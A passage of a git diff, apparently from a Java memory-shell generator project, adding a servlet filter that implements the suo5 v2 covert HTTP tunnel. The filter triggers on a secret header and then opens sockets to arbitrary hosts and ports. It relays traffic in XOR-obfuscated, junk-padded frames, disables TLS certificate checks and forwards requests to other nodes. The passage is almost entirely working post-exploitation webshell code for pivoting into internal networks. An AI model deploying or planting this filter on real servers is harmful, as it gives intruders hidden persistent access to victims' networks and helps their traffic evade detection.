addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java new file mode 100644 index 00000000..cb6e08a0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -0,0 +1,1182 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Filter() { + } + + public Suo5v2Filter(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Filter(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) sReq; + HttpServletResponse response = (HttpServletResponse) sResp; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Filter().process(request, response); + return; + } + } catch (Throwable ignored) { + } + chain.doFilter(sReq, sResp); + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Filter(tunId, 1)).start(); + new Thread(new Suo5v2Filter(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while 